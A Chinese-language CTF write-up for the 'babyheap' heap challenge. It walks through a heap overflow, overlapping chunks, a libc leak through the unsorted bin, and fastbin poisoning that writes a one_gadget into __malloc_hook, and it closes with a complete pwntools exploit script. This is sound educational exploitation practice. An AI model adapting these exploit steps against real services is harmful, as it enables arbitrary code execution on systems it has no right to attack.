每次看别人的Writeup对我来说都是一种折磨,所以这题我完全无参考,独立的解了出来。这种练习方式比直接看别人wp要有效的多,因为你知道每一个细节是怎么来的,而直接看wp会遗漏许多的细节,对独立解题能力锻炼也很有限。

wp只能作为一种思路指引,不应该一开始就看别人的exp,试图搞清楚每一个细节,这么做显然是照猫画虎,时间久了遇到问题就会习惯先找wp,而没有独立解题能力。

解完后我才看了其他人的wp,发现思路基本都一样,不过细节都不同,这时候就可以把别人好的解题思路学过来,变成自己的了:)

程序

防御全开

  1. Allocate,利用calloc分配chunk。
  2. Fill,根据索引向chunk里写内容,size可随意控制,造成堆溢出。
  3. Free,根据索引释放chunk。
  4. Dump,根据索引输出第2步写入的内容。

通过head[索引]可以得到,所分配chunk的信息,是否使用,大小,和chunk的内存地址。

Leak libc

先申请4个chunk,第一个用来堆溢出,修改后面的size之类的。第二个用来Dump数据,第三个是small bin大小,用来free后放入unsorted bin,这样就可以用第二个来Dump出unsorted bin的fd和bk。第四个是为了防止和topchunk合并。

1
2
3
4
allocate(10)
allocate(10)
allocate(0x100)
allocate(0x100) //防止和topchunk合并,不是重点。

此时我们用chunk1通过堆溢出,将chunk2的size改成一个比较大的数,比如0x61,这时候chunk2就包含了chunk3的部分内存。(这个技巧是我独自想出来的,后来才知道叫chunk overlapping)

1
2
3
payload = '\x00'*24+p64(0x61)
payload += p64(0x0) *11 + p64(0x100) #nextchunk size用于绕过free检测
fill(0,len(payload),payload)

因为我们后面要dump,但是现在chunk2的size在head上还是之前的10,所以要将它free掉,并重新分配,这样就head上就变成了0x61。

1
2
free(1)
allocate(80)

由于堆分配是用的calloc,分配后chunk里的内容都被清空了,所以我们要将chunk3的size给恢复过来。

1
2
payload2 = '\x00'*24+p64(0x111)
fill(1,len(payload2),payload2)

之后将chunk3 free掉,会进入unsorted bin,它的fd和bk会变成unsorted bin地址,然后打印chunk2,就泄露出了unsorted bin的地址。

完整leak代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def leak():
allocate(10)
allocate(10)
allocate(0x100)
allocate(0x100)
payload = '\x00'*24+p64(0x61)
payload += p64(0x0) *11 + p64(0x100)
fill(0,len(payload),payload)
free(1)
allocate(80)
payload2 = '\x00'*24+p64(0x111)
fill(1,len(payload2),payload2)
free(2) #free unsorted bin
dump(1) #打印 unsorted bin fd和bk
p.recvuntil('\x7f\x00\x00')
unsortedbin_addr = u64(p.recv(8))
return unsortedbin_addr

计算libc

有了unsortedbin就可以计算出main_arena地址,然后就可以计算出libc基址,这个没啥好说的,千篇一律的流程,我用的CTF-WIKI里的通用代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset

main_arena_offset = 0x3c4b20
unsortedbin_addr = leak()
log.info('unsortedbin addr: '+ hex(unsortedbin_addr))
unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena - 40 #需要注意,这里本来不用减40,但算出来和我本地有差异,-40是为了调整偏移。
libc_base = main_arena_addr - main_arena_offset
log.info('libc_base addr: '+hex(libc_base))
log.info('main_arena addr: '+hex(main_arena_addr))

done

最后利用之前文章里提到的malloc_hook技巧,malloc hook劫持chunk到malloc hook附近,从而写入one_gadget。

1
2
3
4
allocate(0x10)  #chunk_A,为了填空,不是重点。
allocate(0x10) #chunk_B
allocate(0x60) #chunk_C
free(5) # free chunk_C

为了方便讲解,我给它们加了编号。

再申请3个chunk,chunk_C要0x60大小,因为fake_chunk的size是0x7f,
free掉chunk_C,利用chunk_B恢复它的size,并将fd处写入fake_chunk。

这样就形成了Double Free的效果,fd指向了fake_chunk,我们最后将它分配出来既可。

1
2
3
4
5
fake_chunk = main_arena_addr - 51
payload4 = '\x00'*24+p64(0x71) + p64(fake_chunk)
fill(4,len(payload4),payload4) # chunk_B
allocate(0x60) #重新分配之前free的chunk_C
allocate(0x60) #分配fake_chunk

最后将one_gadget通过偏移写入malloc_hook

1
2
3
4
one_gadget = libc_base + 0x4526a
payload5 = 'A' * 19 + p64(one_gadget)
fill(6,len(payload5),payload5) #fake_chunk
allocate(0x10) #分配,触发one_gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

p = process('./babyheap')

def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))


def fill(idx, size, content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.send(content)


def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))


def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))

def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset

def leak():
allocate(10)
allocate(10)
allocate(0x100)
allocate(0x100)
payload = '\x00'*24+p64(0x61)
payload += p64(0x0) *11 + p64(0x100)
fill(0,len(payload),payload)
free(1)
allocate(80)
payload2 = '\x00'*24+p64(0x111)
fill(1,len(payload2),payload2)
free(2)
dump(1)
p.recvuntil('\x7f\x00\x00')
unsortedbin_addr = u64(p.recv(8))
return unsortedbin_addr

#计算libc
main_arena_offset = 0x3c4b20
unsortedbin_addr = leak()
log.info('unsortedbin addr: '+ hex(unsortedbin_addr))
unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena - 40
libc_base = main_arena_addr - main_arena_offset
log.info('libc_base addr: '+hex(libc_base))
log.info('main_arena addr: '+hex(main_arena_addr))


allocate(0x10)
allocate(0x10)
allocate(0x60)
free(5)

#修改fd为fake_chunk
fake_chunk = main_arena_addr - 51
payload4 = '\x00'*24+p64(0x71) + p64(fake_chunk)
fill(4,len(payload4),payload4)
allocate(0x60)
allocate(0x60)

#将one_gadget 写入mallo hook
one_gadget = libc_base + 0x4526a
payload5 = 'A' * 19 + p64(one_gadget)
fill(6,len(payload5),payload5)
allocate(0x10)
p.interactive()